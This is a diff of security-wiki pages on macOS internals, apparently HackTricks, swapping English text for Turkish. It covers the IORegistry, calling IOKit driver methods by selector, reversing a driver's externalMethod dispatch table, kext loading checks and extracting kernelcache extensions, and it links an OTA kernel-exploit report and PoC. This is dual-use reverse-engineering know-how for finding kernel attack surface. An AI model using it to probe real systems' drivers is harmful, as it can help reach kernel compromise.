Belirli uzantıları bulmak için şunları kullanabilirsiniz:
|
||||
```bash
|
||||
kextfind -bundle-id com.apple.iokit.IOReportFamily #Search by full bundle-id
|
||||
kextfind -bundle-id -substring IOR #Search by substring in bundle-id
|
||||
```
|
||||
|
||||
To load and unload kernel extensions do:
|
||||
|
||||
Kernel uzantılarını yüklemek ve kaldırmak için:
|
||||
```bash
|
||||
kextload com.apple.iokit.IOReportFamily
|
||||
kextunload com.apple.iokit.IOReportFamily
|
||||
```
|
||||
|
||||
## IORegistry
|
||||
|
||||
The **IORegistry** is a crucial part of the IOKit framework in macOS and iOS which serves as a database for representing the system's hardware configuration and state. It's a **hierarchical collection of objects that represent all the hardware and drivers** loaded on the system, and their relationships to each other.
|
||||
|
||||
You can get the IORegistry using the cli **`ioreg`** to inspect it from the console (specially useful for iOS).
|
||||
**IORegistry**, macOS ve iOS'taki IOKit çerçevesinin önemli bir parçasıdır ve sistemin donanım yapılandırmasını ve durumunu temsil eden bir veritabanı olarak hizmet eder. Bu, sistemde yüklü olan tüm donanım ve sürücüleri temsil eden **hiyerarşik bir nesne koleksiyonudur** ve bunların birbirleriyle olan ilişkilerini gösterir.
|
||||
|
||||
IORegistry'yi, konsoldan incelemek için cli **`ioreg`** kullanarak alabilirsiniz (özellikle iOS için faydalıdır).
|
||||
```bash
|
||||
ioreg -l #List all
|
||||
ioreg -w 0 #Not cut lines
|
||||
ioreg -p <plane> #Check other plane
|
||||
```
|
||||
|
||||
You could download **`IORegistryExplorer`** from **Xcode Additional Tools** from [**https://developer.apple.com/download/all/**](https://developer.apple.com/download/all/) and inspect the **macOS IORegistry** through a **graphical** interface.
|
||||
**`IORegistryExplorer`**'ı **Xcode Ek Araçları**'ndan [**https://developer.apple.com/download/all/**](https://developer.apple.com/download/all/) indirip **macOS IORegistry**'ni **grafiksel** bir arayüz üzerinden inceleyebilirsiniz.
|
||||
|
||||
<figure><img src="../../../images/image (1167).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
In IORegistryExplorer, "planes" are used to organize and display the relationships between different objects in the IORegistry. Each plane represents a specific type of relationship or a particular view of the system's hardware and driver configuration. Here are some of the common planes you might encounter in IORegistryExplorer:
|
||||
IORegistryExplorer'da, "düzlemler" IORegistry'deki farklı nesneler arasındaki ilişkileri düzenlemek ve görüntülemek için kullanılır. Her düzlem, belirli bir ilişki türünü veya sistemin donanım ve sürücü yapılandırmasının belirli bir görünümünü temsil eder. IORegistryExplorer'da karşılaşabileceğiniz bazı yaygın düzlemler şunlardır:
|
||||
|
||||
1. **IOService Plane**: This is the most general plane, displaying the service objects that represent drivers and nubs (communication channels between drivers). It shows the provider-client relationships between these objects.
|
||||
2. **IODeviceTree Plane**: This plane represents the physical connections between devices as they are attached to the system. It is often used to visualize the hierarchy of devices connected via buses like USB or PCI.
|
||||
3. **IOPower Plane**: Displays objects and their relationships in terms of power management. It can show which objects are affecting the power state of others, useful for debugging power-related issues.
|
||||
4. **IOUSB Plane**: Specifically focused on USB devices and their relationships, showing the hierarchy of USB hubs and connected devices.
|
||||
5. **IOAudio Plane**: This plane is for representing audio devices and their relationships within the system.
|
||||
1. **IOService Düzlemi**: Bu, sürücüleri ve nubs'ları (sürücüler arasındaki iletişim kanalları) temsil eden hizmet nesnelerini gösteren en genel düzlemdir. Bu nesneler arasındaki sağlayıcı-müşteri ilişkilerini gösterir.
|
||||
2. **IODeviceTree Düzlemi**: Bu düzlem, cihazların sisteme bağlı olduğu fiziksel bağlantıları temsil eder. Genellikle USB veya PCI gibi bus'lar aracılığıyla bağlı cihazların hiyerarşisini görselleştirmek için kullanılır.
|
||||
3. **IOPower Düzlemi**: Güç yönetimi açısından nesneleri ve ilişkilerini gösterir. Diğerlerinin güç durumunu etkileyen nesneleri gösterebilir, güçle ilgili sorunları ayıklamak için yararlıdır.
|
||||
4. **IOUSB Düzlemi**: Özellikle USB cihazları ve bunların ilişkilerine odaklanır, USB hub'larının ve bağlı cihazların hiyerarşisini gösterir.
|
||||
5. **IOAudio Düzlemi**: Bu düzlem, ses cihazlarını ve bunların sistem içindeki ilişkilerini temsil etmek için kullanılır.
|
||||
6. ...
|
||||
|
||||
## Driver Comm Code Example
|
||||
## Sürücü İletişim Kodu Örneği
|
||||
|
||||
The following code connects to the IOKit service `"YourServiceNameHere"` and calls the function inside the selector 0. For it:
|
||||
|
||||
- it first calls **`IOServiceMatching`** and **`IOServiceGetMatchingServices`** to get the service.
|
||||
- It then establish a connection calling **`IOServiceOpen`**.
|
||||
- And it finally calls a function with **`IOConnectCallScalarMethod`** indicating the selector 0 (the selector is the number the function you want to call has assigned).
|
||||
Aşağıdaki kod, IOKit hizmetine `"YourServiceNameHere"` bağlanır ve seçici 0 içindeki fonksiyonu çağırır. Bunun için:
|
||||
|
||||
- Öncelikle **`IOServiceMatching`** ve **`IOServiceGetMatchingServices`** çağrılarak hizmet alınır.
|
||||
- Ardından **`IOServiceOpen`** çağrılarak bir bağlantı kurulur.
|
||||
- Ve nihayet **`IOConnectCallScalarMethod`** ile seçici 0'ı belirterek bir fonksiyon çağrılır (seçici, çağırmak istediğiniz fonksiyona atanan numaradır).
|
||||
```objectivec
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <IOKit/IOKitLib.h>
|
||||
|
||||
int main(int argc, const char * argv[]) {
|
||||
@autoreleasepool {
|
||||
// Get a reference to the service using its name
|
||||
CFMutableDictionaryRef matchingDict = IOServiceMatching("YourServiceNameHere");
|
||||
if (matchingDict == NULL) {
|
||||
NSLog(@"Failed to create matching dictionary");
|
||||
return -1;
|
||||
}
|
||||
@autoreleasepool {
|
||||
// Get a reference to the service using its name
|
||||
CFMutableDictionaryRef matchingDict = IOServiceMatching("YourServiceNameHere");
|
||||
if (matchingDict == NULL) {
|
||||
NSLog(@"Failed to create matching dictionary");
|
||||
return -1;
|
||||
}
|
||||
|
||||
// Obtain an iterator over all matching services
|
||||
io_iterator_t iter;
|
||||
kern_return_t kr = IOServiceGetMatchingServices(kIOMasterPortDefault, matchingDict, &iter);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
NSLog(@"Failed to get matching services");
|
||||
return -1;
|
||||
}
|
||||
// Obtain an iterator over all matching services
|
||||
io_iterator_t iter;
|
||||
kern_return_t kr = IOServiceGetMatchingServices(kIOMasterPortDefault, matchingDict, &iter);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
NSLog(@"Failed to get matching services");
|
||||
return -1;
|
||||
}
|
||||
|
||||
// Get a reference to the first service (assuming it exists)
|
||||
io_service_t service = IOIteratorNext(iter);
|
||||
if (!service) {
|
||||
NSLog(@"No matching service found");
|
||||
IOObjectRelease(iter);
|
||||
return -1;
|
||||
}
|
||||
// Get a reference to the first service (assuming it exists)
|
||||
io_service_t service = IOIteratorNext(iter);
|
||||
if (!service) {
|
||||
NSLog(@"No matching service found");
|
||||
IOObjectRelease(iter);
|
||||
return -1;
|
||||
}
|
||||
|
||||
// Open a connection to the service
|
||||
io_connect_t connect;
|
||||
kr = IOServiceOpen(service, mach_task_self(), 0, &connect);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
NSLog(@"Failed to open service");
|
||||
IOObjectRelease(service);
|
||||
IOObjectRelease(iter);
|
||||
return -1;
|
||||
}
|
||||
// Open a connection to the service
|
||||
io_connect_t connect;
|
||||
kr = IOServiceOpen(service, mach_task_self(), 0, &connect);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
NSLog(@"Failed to open service");
|
||||
IOObjectRelease(service);
|
||||
IOObjectRelease(iter);
|
||||
return -1;
|
||||
}
|
||||
|
||||
// Call a method on the service
|
||||
// Assume the method has a selector of 0, and takes no arguments
|
||||
kr = IOConnectCallScalarMethod(connect, 0, NULL, 0, NULL, NULL);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
NSLog(@"Failed to call method");
|
||||
}
|
||||
// Call a method on the service
|
||||
// Assume the method has a selector of 0, and takes no arguments
|
||||
kr = IOConnectCallScalarMethod(connect, 0, NULL, 0, NULL, NULL);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
NSLog(@"Failed to call method");
|
||||
}
|
||||
|
||||
// Cleanup
|
||||
IOServiceClose(connect);
|
||||
IOObjectRelease(service);
|
||||
IOObjectRelease(iter);
|
||||
}
|
||||
return 0;
|
||||
// Cleanup
|
||||
IOServiceClose(connect);
|
||||
IOObjectRelease(service);
|
||||
IOObjectRelease(iter);
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
Diğer **`IOConnectCallScalarMethod`** gibi IOKit fonksiyonlarını çağırmak için kullanılabilecek **diğer** fonksiyonlar vardır, örneğin **`IOConnectCallMethod`**, **`IOConnectCallStructMethod**...
|
||||
|
||||
There are **other** functions that can be used to call IOKit functions apart of **`IOConnectCallScalarMethod`** like **`IOConnectCallMethod`**, **`IOConnectCallStructMethod`**...
|
||||
## Sürücü giriş noktasını tersine mühendislik
|
||||
|
||||
## Reversing driver entrypoint
|
||||
Bunları örneğin bir [**firmware image (ipsw)**](./#ipsw) üzerinden elde edebilirsiniz. Ardından, bunu en sevdiğiniz dekompilerde yükleyin.
|
||||
|
||||
You could obtain these for example from a [**firmware image (ipsw)**](./#ipsw). Then, load it into your favourite decompiler.
|
||||
|
||||
You could start decompiling the **`externalMethod`** function as this is the driver function that will be receiving the call and calling the correct function:
|
||||
**`externalMethod`** fonksiyonunu decompile etmeye başlayabilirsiniz çünkü bu, çağrıyı alacak ve doğru fonksiyonu çağıracak sürücü fonksiyonudur:
|
||||
|
||||
<figure><img src="../../../images/image (1168).png" alt="" width="315"><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../../../images/image (1169).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
That awful call demagled means:
|
||||
|
||||
O korkunç çağrı demagled, şunu ifade eder:
|
||||
```cpp
|
||||
IOUserClient2022::dispatchExternalMethod(unsigned int, IOExternalMethodArgumentsOpaque*, IOExternalMethodDispatch2022 const*, unsigned long, OSObject*, void*)
|
||||
```
|
||||
|
||||
Note how in the previous definition the **`self`** param is missed, the good definition would be:
|
||||
|
||||
Önceki tanımda **`self`** parametresinin atlandığına dikkat edin, iyi bir tanım şöyle olmalıdır:
|
||||
```cpp
|
||||
IOUserClient2022::dispatchExternalMethod(self, unsigned int, IOExternalMethodArgumentsOpaque*, IOExternalMethodDispatch2022 const*, unsigned long, OSObject*, void*)
|
||||
```
|
||||
|
||||
Actually, you can find the real definition in [https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/Kernel/IOUserClient.cpp#L6388](https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/Kernel/IOUserClient.cpp#L6388):
|
||||
|
||||
Aslında, gerçek tanımı [https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/Kernel/IOUserClient.cpp#L6388](https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/Kernel/IOUserClient.cpp#L6388) adresinde bulabilirsiniz:
|
||||
```cpp
|
||||
IOUserClient2022::dispatchExternalMethod(uint32_t selector, IOExternalMethodArgumentsOpaque *arguments,
|
||||
const IOExternalMethodDispatch2022 dispatchArray[], size_t dispatchArrayCount,
|
||||
OSObject * target, void * reference)
|
||||
const IOExternalMethodDispatch2022 dispatchArray[], size_t dispatchArrayCount,
|
||||
OSObject * target, void * reference)
|
||||
```
|
||||
|
||||
With this info you can rewrite Ctrl+Right -> `Edit function signature` and set the known types:
|
||||
Bu bilgilerle Ctrl+Right -> `Edit function signature` yazabilir ve bilinen türleri ayarlayabilirsiniz:
|
||||
|
||||
<figure><img src="../../../images/image (1174).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
The new decompiled code will look like:
|
||||
Yeni decompile edilmiş kod şöyle görünecek:
|
||||
|
||||
<figure><img src="../../../images/image (1175).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
For the next step we need to have defined the **`IOExternalMethodDispatch2022`** struct. It's opensource in [https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/IOKit/IOUserClient.h#L168-L176](https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/IOKit/IOUserClient.h#L168-L176), you could define it:
|
||||
Bir sonraki adımda **`IOExternalMethodDispatch2022`** yapısını tanımlamamız gerekiyor. Bu yapı açık kaynak olarak [https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/IOKit/IOUserClient.h#L168-L176](https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/IOKit/IOUserClient.h#L168-L176) adresinde bulunmaktadır, bunu tanımlayabilirsiniz:
|
||||
|
||||
<figure><img src="../../../images/image (1170).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Now, following the `(IOExternalMethodDispatch2022 *)&sIOExternalMethodArray` you can see a lot of data:
|
||||
Şimdi, `(IOExternalMethodDispatch2022 *)&sIOExternalMethodArray` ifadesini takip ederek birçok veri görebilirsiniz:
|
||||
|
||||
<figure><img src="../../../images/image (1176).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
Change the Data Type to **`IOExternalMethodDispatch2022:`**
|
||||
Veri Türünü **`IOExternalMethodDispatch2022:`** olarak değiştirin:
|
||||
|
||||
<figure><img src="../../../images/image (1177).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
after the change:
|
||||
değişiklikten sonra:
|
||||
|
||||
<figure><img src="../../../images/image (1179).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
And as we now in there we have an **array of 7 elements** (check the final decompiled code), click to create an array of 7 elements:
|
||||
Ve şimdi orada **7 elemanlı bir dizi** olduğunu biliyoruz (son decompile edilmiş kodu kontrol edin), 7 elemanlı bir dizi oluşturmak için tıklayın:
|
||||
|
||||
<figure><img src="../../../images/image (1180).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
After the array is created you can see all the exported functions:
|
||||
Dizi oluşturulduktan sonra, tüm dışa aktarılan fonksiyonları görebilirsiniz:
|
||||
|
||||
<figure><img src="../../../images/image (1181).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!TIP]
|
||||
> If you remember, to **call** an **exported** function from user space we don't need to call the name of the function, but the **selector number**. Here you can see that the selector **0** is the function **`initializeDecoder`**, the selector **1** is **`startDecoder`**, the selector **2** **`initializeEncoder`**...
|
||||
> Hatırlarsanız, kullanıcı alanından bir **dışa aktarılan** fonksiyonu **çağırmak** için fonksiyonun adını değil, **seçici numarasını** çağırmamız gerekiyor. Burada seçici **0** fonksiyonu **`initializeDecoder`**, seçici **1** **`startDecoder`**, seçici **2** **`initializeEncoder`** olduğunu görebilirsiniz...
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@ -2,40 +2,39 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Temel Bilgiler
|
||||
|
||||
Kernel extensions (Kexts) are **packages** with a **`.kext`** extension that are **loaded directly into the macOS kernel space**, providing additional functionality to the main operating system.
|
||||
Kernel uzantıları (Kexts), **macOS çekirdek alanına doğrudan yüklenen** ve ana işletim sistemine ek işlevsellik sağlayan **`.kext`** uzantısına sahip **paketlerdir**.
|
||||
|
||||
### Requirements
|
||||
### Gereksinimler
|
||||
|
||||
Obviously, this is so powerful that it is **complicated to load a kernel extension**. These are the **requirements** that a kernel extension must meet to be loaded:
|
||||
Açıkça, bu kadar güçlü olduğu için **bir kernel uzantısını yüklemek karmaşıktır**. Yüklenebilmesi için bir kernel uzantısının karşılaması gereken **gereksinimler** şunlardır:
|
||||
|
||||
- When **entering recovery mode**, kernel **extensions must be allowed** to be loaded:
|
||||
- **Kurtarma moduna** girerken, kernel **uzantılarının yüklenmesine izin verilmelidir**:
|
||||
|
||||
<figure><img src="../../../images/image (327).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- The kernel extension must be **signed with a kernel code signing certificate**, which can only be **granted by Apple**. Who will review in detail the company and the reasons why it is needed.
|
||||
- The kernel extension must also be **notarized**, Apple will be able to check it for malware.
|
||||
- Then, the **root** user is the one who can **load the kernel extension** and the files inside the package must **belong to root**.
|
||||
- During the upload process, the package must be prepared in a **protected non-root location**: `/Library/StagedExtensions` (requires the `com.apple.rootless.storage.KernelExtensionManagement` grant).
|
||||
- Finally, when attempting to load it, the user will [**receive a confirmation request**](https://developer.apple.com/library/archive/technotes/tn2459/_index.html) and, if accepted, the computer must be **restarted** to load it.
|
||||
- Kernel uzantısı, yalnızca **Apple tarafından verilebilen** bir kernel kod imzalama sertifikası ile **imzalanmış olmalıdır**. Şirketin detaylı bir şekilde inceleneceği ve neden gerektiği.
|
||||
- Kernel uzantısı ayrıca **notarize edilmelidir**, Apple bunu kötü amaçlı yazılım için kontrol edebilecektir.
|
||||
- Ardından, **root** kullanıcısı kernel uzantısını **yükleyebilen** kişidir ve paket içindeki dosyalar **root'a ait olmalıdır**.
|
||||
- Yükleme sürecinde, paket **korumalı bir kök olmayan konumda** hazırlanmalıdır: `/Library/StagedExtensions` (bu, `com.apple.rootless.storage.KernelExtensionManagement` iznini gerektirir).
|
||||
- Son olarak, yüklemeye çalışırken, kullanıcı [**bir onay isteği alacaktır**](https://developer.apple.com/library/archive/technotes/tn2459/_index.html) ve kabul edilirse, bilgisayar **yeniden başlatılmalıdır**.
|
||||
|
||||
### Loading process
|
||||
### Yükleme süreci
|
||||
|
||||
In Catalina it was like this: It is interesting to note that the **verification** process occurs in **userland**. However, only applications with the **`com.apple.private.security.kext-management`** grant can **request the kernel to load an extension**: `kextcache`, `kextload`, `kextutil`, `kextd`, `syspolicyd`
|
||||
Catalina'da böyleydi: **Doğrulama** sürecinin **kullanıcı alanında** gerçekleştiğini belirtmek ilginçtir. Ancak, yalnızca **`com.apple.private.security.kext-management`** iznine sahip uygulamalar **çekirdekten bir uzantıyı yüklemesini isteyebilir**: `kextcache`, `kextload`, `kextutil`, `kextd`, `syspolicyd`
|
||||
|
||||
1. **`kextutil`** cli **starts** the **verification** process for loading an extension
|
||||
- It will talk to **`kextd`** by sending using a **Mach service**.
|
||||
2. **`kextd`** will check several things, such as the **signature**
|
||||
- It will talk to **`syspolicyd`** to **check** if the extension can be **loaded**.
|
||||
3. **`syspolicyd`** will **prompt** the **user** if the extension has not been previously loaded.
|
||||
- **`syspolicyd`** will report the result to **`kextd`**
|
||||
4. **`kextd`** will finally be able to **tell the kernel to load** the extension
|
||||
1. **`kextutil`** cli **bir uzantıyı yüklemek için** **doğrulama** sürecini **başlatır**
|
||||
- **`kextd`** ile bir **Mach servisi** kullanarak iletişim kuracaktır.
|
||||
2. **`kextd`** birkaç şeyi kontrol edecektir, örneğin **imzayı**
|
||||
- Uzantının **yüklenip yüklenemeyeceğini kontrol etmek için** **`syspolicyd`** ile iletişim kuracaktır.
|
||||
3. **`syspolicyd`**, uzantı daha önce yüklenmemişse **kullanıcıya** **soracaktır**.
|
||||
- **`syspolicyd`**, sonucu **`kextd`**'ye bildirecektir.
|
||||
4. **`kextd`** nihayetinde **çekirdeğe uzantıyı yüklemesini söyleyebilecektir**.
|
||||
|
||||
If **`kextd`** is not available, **`kextutil`** can perform the same checks.
|
||||
|
||||
### Enumeration (loaded kexts)
|
||||
Eğer **`kextd`** mevcut değilse, **`kextutil`** aynı kontrolleri gerçekleştirebilir.
|
||||
|
||||
### Sayım (yüklenmiş kextler)
|
||||
```bash
|
||||
# Get loaded kernel extensions
|
||||
kextstat
|
||||
@ -43,40 +42,38 @@ kextstat
|
||||
# Get dependencies of the kext number 22
|
||||
kextstat | grep " 22 " | cut -c2-5,50- | cut -d '(' -f1
|
||||
```
|
||||
|
||||
## Kernelcache
|
||||
|
||||
> [!CAUTION]
|
||||
> Even though the kernel extensions are expected to be in `/System/Library/Extensions/`, if you go to this folder you **won't find any binary**. This is because of the **kernelcache** and in order to reverse one `.kext` you need to find a way to obtain it.
|
||||
> `/System/Library/Extensions/` içinde kernel uzantılarının bulunması beklenmesine rağmen, bu klasöre giderseniz **hiçbir ikili dosya bulamayacaksınız**. Bunun nedeni **kernelcache**'dir ve bir `.kext` dosyasını tersine mühendislik yapmak için onu elde etmenin bir yolunu bulmanız gerekir.
|
||||
|
||||
The **kernelcache** is a **pre-compiled and pre-linked version of the XNU kernel**, along with essential device **drivers** and **kernel extensions**. It's stored in a **compressed** format and gets decompressed into memory during the boot-up process. The kernelcache facilitates a **faster boot time** by having a ready-to-run version of the kernel and crucial drivers available, reducing the time and resources that would otherwise be spent on dynamically loading and linking these components at boot time.
|
||||
**Kernelcache**, **XNU çekirdeğinin önceden derlenmiş ve önceden bağlantılı bir versiyonudur**, ayrıca temel cihaz **sürücüleri** ve **kernel uzantıları** ile birlikte gelir. **Sıkıştırılmış** bir formatta depolanır ve önyükleme süreci sırasında belleğe açılır. Kernelcache, çekirdeğin ve kritik sürücülerin çalışmaya hazır bir versiyonunu bulundurarak **daha hızlı bir önyükleme süresi** sağlar; bu, bu bileşenlerin dinamik olarak yüklenmesi ve bağlanması için harcanacak zaman ve kaynakları azaltır.
|
||||
|
||||
### Local Kerlnelcache
|
||||
### Yerel Kernelcache
|
||||
|
||||
In iOS it's located in **`/System/Library/Caches/com.apple.kernelcaches/kernelcache`** in macOS you can find it with: **`find / -name "kernelcache" 2>/dev/null`** \
|
||||
In my case in macOS I found it in:
|
||||
iOS'ta **`/System/Library/Caches/com.apple.kernelcaches/kernelcache`** içinde bulunur, macOS'ta ise şunları kullanarak bulabilirsiniz: **`find / -name "kernelcache" 2>/dev/null`** \
|
||||
Benim durumumda macOS'ta şunu buldum:
|
||||
|
||||
- `/System/Volumes/Preboot/1BAEB4B5-180B-4C46-BD53-51152B7D92DA/boot/DAD35E7BC0CDA79634C20BD1BD80678DFB510B2AAD3D25C1228BB34BCD0A711529D3D571C93E29E1D0C1264750FA043F/System/Library/Caches/com.apple.kernelcaches/kernelcache`
|
||||
|
||||
#### IMG4
|
||||
|
||||
The IMG4 file format is a container format used by Apple in its iOS and macOS devices for securely **storing and verifying firmware** components (like **kernelcache**). The IMG4 format includes a header and several tags which encapsulate different pieces of data including the actual payload (like a kernel or bootloader), a signature, and a set of manifest properties. The format supports cryptographic verification, allowing the device to confirm the authenticity and integrity of the firmware component before executing it.
|
||||
IMG4 dosya formatı, Apple tarafından iOS ve macOS cihazlarında **firmware** bileşenlerini güvenli bir şekilde **saklamak ve doğrulamak** için kullanılan bir konteyner formatıdır (örneğin **kernelcache**). IMG4 formatı, gerçek yük (örneğin bir çekirdek veya önyükleyici), bir imza ve bir dizi manifest özelliklerini kapsayan bir başlık ve birkaç etiket içerir. Format, cihazın firmware bileşeninin özgünlüğünü ve bütünlüğünü doğrulamasına olanak tanıyan kriptografik doğrulamayı destekler.
|
||||
|
||||
It's usually composed of the following components:
|
||||
Genellikle aşağıdaki bileşenlerden oluşur:
|
||||
|
||||
- **Payload (IM4P)**:
|
||||
- Often compressed (LZFSE4, LZSS, …)
|
||||
- Optionally encrypted
|
||||
- Genellikle sıkıştırılmıştır (LZFSE4, LZSS, …)
|
||||
- İsteğe bağlı olarak şifrelenmiş
|
||||
- **Manifest (IM4M)**:
|
||||
- Contains Signature
|
||||
- Additional Key/Value dictionary
|
||||
- İmza içerir
|
||||
- Ek Anahtar/Değer sözlüğü
|
||||
- **Restore Info (IM4R)**:
|
||||
- Also known as APNonce
|
||||
- Prevents replaying of some updates
|
||||
- OPTIONAL: Usually this isn't found
|
||||
|
||||
Decompress the Kernelcache:
|
||||
- APNonce olarak da bilinir
|
||||
- Bazı güncellemelerin tekrar oynatılmasını engeller
|
||||
- İSTEĞE BAĞLI: Genellikle bulunmaz
|
||||
|
||||
Kernelcache'i açın:
|
||||
```bash
|
||||
# img4tool (https://github.com/tihmstar/img4tool
|
||||
img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
|
||||
@ -84,49 +81,39 @@ img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
|
||||
# pyimg4 (https://github.com/m1stadev/PyIMG4)
|
||||
pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
|
||||
```
|
||||
|
||||
### Download 
|
||||
### İndir
|
||||
|
||||
- [**KernelDebugKit Github**](https://github.com/dortania/KdkSupportPkg/releases)
|
||||
|
||||
In [https://github.com/dortania/KdkSupportPkg/releases](https://github.com/dortania/KdkSupportPkg/releases) it's possible to find all the kernel debug kits. You can download it, mount it, open it with [Suspicious Package](https://www.mothersruin.com/software/SuspiciousPackage/get.html) tool, access the **`.kext`** folder and **extract it**.
|
||||
|
||||
Check it for symbols with:
|
||||
[https://github.com/dortania/KdkSupportPkg/releases](https://github.com/dortania/KdkSupportPkg/releases) adresinde tüm kernel hata ayıklama kitlerini bulmak mümkündür. Bunu indirebilir, bağlayabilir, [Suspicious Package](https://www.mothersruin.com/software/SuspiciousPackage/get.html) aracıyla açabilir, **`.kext`** klasörüne erişebilir ve **çıkarabilirsiniz**.
|
||||
|
||||
Semboller için kontrol edin:
|
||||
```bash
|
||||
nm -a ~/Downloads/Sandbox.kext/Contents/MacOS/Sandbox | wc -l
|
||||
```
|
||||
|
||||
- [**theapplewiki.com**](https://theapplewiki.com/wiki/Firmware/Mac/14.x)**,** [**ipsw.me**](https://ipsw.me/)**,** [**theiphonewiki.com**](https://www.theiphonewiki.com/)
|
||||
|
||||
Sometime Apple releases **kernelcache** with **symbols**. You can download some firmwares with symbols by following links on those pages. The firmwares will contain the **kernelcache** among other files.
|
||||
Bazen Apple **kernelcache** ile **semboller** yayınlar. Bu sayfalardaki bağlantıları takip ederek sembollerle bazı firmware'leri indirebilirsiniz. Firmware'ler diğer dosyaların yanı sıra **kernelcache** içerecektir.
|
||||
|
||||
To **extract** the files start by changing the extension from `.ipsw` to `.zip` and **unzip** it.
|
||||
Dosyaları **çıkarmak** için uzantıyı `.ipsw`'den `.zip`'e değiştirin ve **açın**.
|
||||
|
||||
After extracting the firmware you will get a file like: **`kernelcache.release.iphone14`**. It's in **IMG4** format, you can extract the interesting info with:
|
||||
Firmware'i çıkardıktan sonra **`kernelcache.release.iphone14`** gibi bir dosya elde edeceksiniz. Bu **IMG4** formatındadır, ilginç bilgileri çıkarmak için:
|
||||
|
||||
[**pyimg4**](https://github.com/m1stadev/PyIMG4)**:**
|
||||
|
||||
```bash
|
||||
pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
|
||||
```
|
||||
|
||||
[**img4tool**](https://github.com/tihmstar/img4tool)**:**
|
||||
|
||||
```bash
|
||||
img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
|
||||
```
|
||||
### Kernelcache'i İnceleme
|
||||
|
||||
### Inspecting kernelcache
|
||||
|
||||
Check if the kernelcache has symbols with
|
||||
|
||||
Kernelcache'in sembollere sahip olup olmadığını kontrol edin.
|
||||
```bash
|
||||
nm -a kernelcache.release.iphone14.e | wc -l
|
||||
```
|
||||
|
||||
With this we can now **extract all the extensions** or the **one you are interested in:**
|
||||
|
||||
Bununla artık **tüm uzantıları** veya **ilginizi çeken uzantıyı** **çıkarabiliriz:**
|
||||
```bash
|
||||
# List all extensions
|
||||
kextex -l kernelcache.release.iphone14.e
|
||||
@ -139,10 +126,9 @@ kextex_all kernelcache.release.iphone14.e
|
||||
# Check the extension for symbols
|
||||
nm -a binaries/com.apple.security.sandbox | wc -l
|
||||
```
|
||||
## Hata Ayıklama
|
||||
|
||||
## Debugging
|
||||
|
||||
## Referencias
|
||||
## Referanslar
|
||||
|
||||
- [https://www.makeuseof.com/how-to-enable-third-party-kernel-extensions-apple-silicon-mac/](https://www.makeuseof.com/how-to-enable-third-party-kernel-extensions-apple-silicon-mac/)
|
||||
- [https://www.youtube.com/watch?v=hGKOskSiaQo](https://www.youtube.com/watch?v=hGKOskSiaQo)
|
||||
|
||||
@ -1,10 +1,10 @@
|
||||
# macOS Kernel Vulnerabilities
|
||||
# macOS Kernel Açıkları
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## [Pwning OTA](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/)
|
||||
## [OTA'yı Ele Geçirme](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/)
|
||||
|
||||
[**In this report**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) are explained several vulnerabilities that allowed to compromised the kernel compromising the software updater.\
|
||||
[**Bu raporda**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) yazılım güncelleyicisini tehlikeye atarak çekirdeği ele geçirmeye olanak tanıyan birkaç açık açıklanmaktadır.\
|
||||
[**PoC**](https://github.com/jhftss/POC/tree/main/CVE-2022-46722).
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,81 +1,79 @@
|
||||
# macOS System Extensions
|
||||
# macOS Sistem Uzantıları
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## System Extensions / Endpoint Security Framework
|
||||
## Sistem Uzantıları / Uç Nokta Güvenliği Çerçevesi
|
||||
|
||||
Unlike Kernel Extensions, **System Extensions run in user space** instead of kernel space, reducing the risk of a system crash due to extension malfunction.
|
||||
